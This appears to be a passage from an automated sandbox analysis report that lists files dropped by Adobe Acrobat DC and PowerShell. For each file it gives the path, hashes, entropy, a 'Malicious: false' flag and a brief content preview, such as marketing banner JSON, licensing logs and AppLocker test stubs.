SHA-512:	73EA2C54CC2E5E0F71803CD5BAE741AC392B80DDFF6D26DEB641EFF4E1B3BCDBE6CA6F15469FCDF1B1CB3658D24C270C68A493614E07B87C01CCE371ACF0F372
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.250934131493036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJf+dPeUkwRe9:YvXKXXhOvR/ZwHAaWG28Ukee9
MD5:	EF7B38AC91D9CB11F49D45EA63C0C5AD
SHA1:	822799BEC65F09C6356A760C6845DADC2C924A91
SHA-256:	C42CE936CC5B6B8313273DDCD27BCCCA28D65E14D76C8383AD9239052A5FD326
SHA-512:	186399710452068FDB3D2410F6C2E9DB15AE615F2629B2C04CA4B4BACBF7994863EDC74387733A22FC517294E025D9CA1AE18266BC35AC9B0F8F564013ACF451
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249275576925844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfbPtdPeUkwRe9:YvXKXXhOvR/ZwHAaWGDV8Ukee9
MD5:	99788DB814DBE97FEDDD638A316AA4CE
SHA1:	0314BE365BFF123BB197A528F516F399688FD342
SHA-256:	5D8F0FD92CA68365625A624E6A5A393F9754C6A241C81A32EF0287AA096AF447
SHA-512:	33FE32EE7A174F36ABB5525CEE4EC28DD27ECB9E9307ECC72BB9A0197EBE08242467EEEE78DC3B46E369AA4FE9E4159589EBF1133B79A7046FCFC14A517D2F35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.248136739896638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJf21rPeUkwRe9:YvXKXXhOvR/ZwHAaWG+16Ukee9
MD5:	1B43FD8D2D8A6ED8157B4016D273407B
SHA1:	3A8AA9D0F8F629CC46BA508D1C54B284ADFE45BF
SHA-256:	6E3DE3AC48C892DE2D0134621F4A10B938CB3F5301CA51493C14F2BFF147A7C2
SHA-512:	DE366660F030290EE8DCEEC5647C28575E77F41082CC26E1C4951E2A564E3B049F8FD57BCBA2EA2075D5B537D1C2FA551DD94F33A71D24B2167AA2E2C851F1FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660510965449034
Encrypted:	false
SSDEEP:	24:Yv6XXhOJh+zamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:Yv2gJh+jBgkDMUJUAh8cvMU
MD5:	66A1285D734D5C2E71FAD9DA4D1C39A0
SHA1:	1FA3CC1E981D9581E49F0D2596B2972FB4456EB1
SHA-256:	EF3F3268DA947B15FFB7F9D84BA92C96225B25E7FF542460F2AB452CD14DB1A2
SHA-512:	430B378447075CADB989EDB27623F9F08A2A14768948C04880713F21BF69ACAB4225C4CDD2C23344A6A015E5D9E2C25151C1CF620A1FF4963C654A393C0AB266
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.221183828419283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfshHHrPeUkwRe9:YvXKXXhOvR/ZwHAaWGUUUkee9
MD5:	71722E1CF2E2D9E00AA492A60CE76B2E
SHA1:	627C8B362AF3B333FFBF361E5F41F60B413C6939
SHA-256:	2949BF2CB581B15447ADE3D3F26609899B92F6BDAD2A306957CA7D5333DEC7FF
SHA-512:	21E182FF723531F8CA6B93B3B518A68D3C01B03FCFB585F0EBFA92445BD33516CAB2C830E00CCE0E0E2F4C3A70FA68C6CB7A16DE8891BB174F91D5BD8A35919D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.242584363671499
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJTqgFCrPeUkwRe9:YvXKXXhOvR/ZwHAaWGTq16Ukee9
MD5:	CBB8EECE45137106792D1B0B82346BB0
SHA1:	A89233E442D66BCCBBD8FFFDCA7413F37E7997B2
SHA-256:	CD07B3FDB8E97DB48B475D346BB6DFF2671601AEABB10BB74E2CF4A7A894436E
SHA-512:	BAD2B38D772515F8E8547A185A9A14F02E03743E98410A542838C0A7BF38B8F9178DEBB70AC386D9FB65A0BCACD9B954DCA6647A1FB0ADBD6CF66A947336572D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133520365007681
Encrypted:	false
SSDEEP:	48:Yy0BiLmD66y4L3Sm6bBVXzrUel6Vyh9Ln:mMLmO6hZ6lOq6Q/j
MD5:	DA2AF719E00172E735160AD9899D22ED
SHA1:	6CE356C9EB0E95BE408A3C76163448DC2CBC1B8C
SHA-256:	C1CBD6AE1A31E9141A03DC61DAD9F93EFEB9D2ADA1B98F6F915F60BF164885A3
SHA-512:	52618ED44F4A736A92FF6B12343138D7B353274F6CB2DD93CCE0FA32A2A497C33C4043C09848900D83D7C6AB4D44D626E4C513F2F9FD6D6387F1F143783E2F15
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"57ea6e50b1cb3cd57785f199b93b941f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569069000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4c0f432c793b45f511fbe94fc9c8feaf","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569069000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"653921aec89958d26295477c758cf237","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569069000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3426ad5f519a215198bfd2d570a656b3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569069000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fefee4582714ed61d48252a07638b9fe","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569069000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"641690908e3fe123b4139fd4f5d5da71","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319674644638795
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahtytypilIfyF:lNVms9WfMwbPahtGUA
MD5:	FEA24E0209A4FB18EC720162C1EFDEFC
SHA1:	8844F1A97FC85211770BA6116286F6C5BDC86E1E
SHA-256:	35E41213E875E450B586FDF204EEA6E734CDADFB8975118BE77691C7B2A6E63A
SHA-512:	57F0BB08DBE566A6B44FB4BE392EFA7F0227D84BCD862BDB5AB7A10907F4861802DDEED49E74AB624CB5FB9F7A4DD087BE40CB1AC69C0795BCCDC369313BD789
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780855637363906
Encrypted:	false
SSDEEP:	48:7M+WR1CPmPbPahty4ypilIrqFl2GL7msN:73WfMwbPaht/yKVmsN
MD5:	7D71925BE315DA9281F6A806278DF8FE
SHA1:	4625936149FA8031AB5601C0BB2C7833ED2FDF6F
SHA-256:	AD7CC657441E7917BB611DB76C0E5DE41A7480A0C79C929110FCB6219CCC5E7A
SHA-512:	8D6B72AB15609DCD2B83C700EB84B266E22EB28CF61A13C3BB5E7B848A0897DDB84AF57A32FC15F72ACA178FED50821855F06A93EC99992A05FE4E38E7FD824B
Malicious:	false
Preview:	.... .c.....J.x3..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6nbi05p+6ui+2iDy7Ory10HYyu:6a6TZ44ADE6nbi058B2haHK
MD5:	0A21D1229A2D9F3586C86E21E9281425
SHA1:	AE3313FD81F5DBDC3FA9D8B39936BA4B3CCA9F47
SHA-256:	C33F62F46A8632959205A33A89BDA1D23555DF0DF15C1E7186AA742393EC9347
SHA-512:	1E6DA4738D259B47C2E17DC08022DFA2A6E52B7ED523E62CE105446B6FB79CA2FFA57DB8F101B1FC7841AD258E96626E630E32AF175815503D6C6945F65B32CD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7e574.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClPN9:Qw946cPbiOxDlbYnuRK+bQH
MD5:	2AE2CB24AA6052267404DAEC99564EB9
SHA1:	B9600F1F285F009CC319FB75B72A082D0AC0DB22
SHA-256:	AB4464F04FE92E77AB6300C2EF35B1BA44238D227199BED6122CB2DCA107B134
SHA-512:	D2715008685AA107C733B08FFB5A75DEC014115D7F0567D9F1A765B0A0F1369A2FD4C12EB19BCCCF5B937A61702921987C2B0D83EA6CAEAEDD0B4605E71C9FEE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.7.:.4.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_54r0zphw.2wt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yj0xz4d4.nni.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-17-42-437.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367927847820793
Encrypted:	false
SSDEEP:	384:uS0HMSVxAtUqdCXOyo1ocfat1AsNv5Y5o5x5l5G5D515X5P5V5/5KGZGEwOOONpR:kWu2mXbA1LJxrBpypBxD4bfH4xM
MD5:	007CF8FC1872E39EE979F5F6D72329E6
SHA1:	431A22F802DBA151ACCB5586EC02C6B6B4FD6284
SHA-256:	D57DBA46D76FB324B5B6938EDC10550BD5672C4421D461A70296958C8567DFD6
SHA-512:	483CF7E6B1937367E1165F71FC1AB888267174722CBD5FE7DF7019CD605A8360094A87C11190881BEA99200A1CEB6B787D45CA99D03778263E1EFBF9F620AEC0
Malicious:	false
Preview:	SessionID=4745fb72-543e-499d-8fd5-e3e3af6ba907.1736569062465 Timestamp=2025-01-10T23:17:42:465-0500 ThreadID=2848 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4745fb72-543e-499d-8fd5-e3e3af6ba907.1736569062465 Timestamp=2025-01-10T23:17:42:466-0500 ThreadID=2848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4745fb72-543e-499d-8fd5-e3e3af6ba907.1736569062465 Timestamp=2025-01-10T23:17:42:466-0500 ThreadID=2848 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4745fb72-543e-499d-8fd5-e3e3af6ba907.1736569062465 Timestamp=2025-01-10T23:17:42:466-0500 ThreadID=2848 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4745fb72-543e-499d-8fd5-e3e3af6ba907.1736569062465 Timestamp=2025-01-10T23:17:42:466-0500 ThreadID=2848 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.404431003786303
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb/qcbQI0icb5:ceo4+rsCt90R
MD5:	433559B6EBCE69B649432FA968DAF655
SHA1:	79673F88B280E8554D1BD383DA3CA4F60E32ADE2
SHA-256:	263548DCF2EB270448DC8D4AC1B7B5FB048A3F1F6F057D8EEC376E1181D54357
SHA-512:	42B0799FBD3BB8E413F1250159EBFA414478183ECF71D6DB6AEB5A5AF478AB570BF75EBC48073472FAD93745E0D6F239969AB24C0302AFCD0199EBB472FF13A0
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0f904588-8322-49fe-a506-fe389b4f2400.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\41910311-a1c7-4629-b43e-6d74bf68a24c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
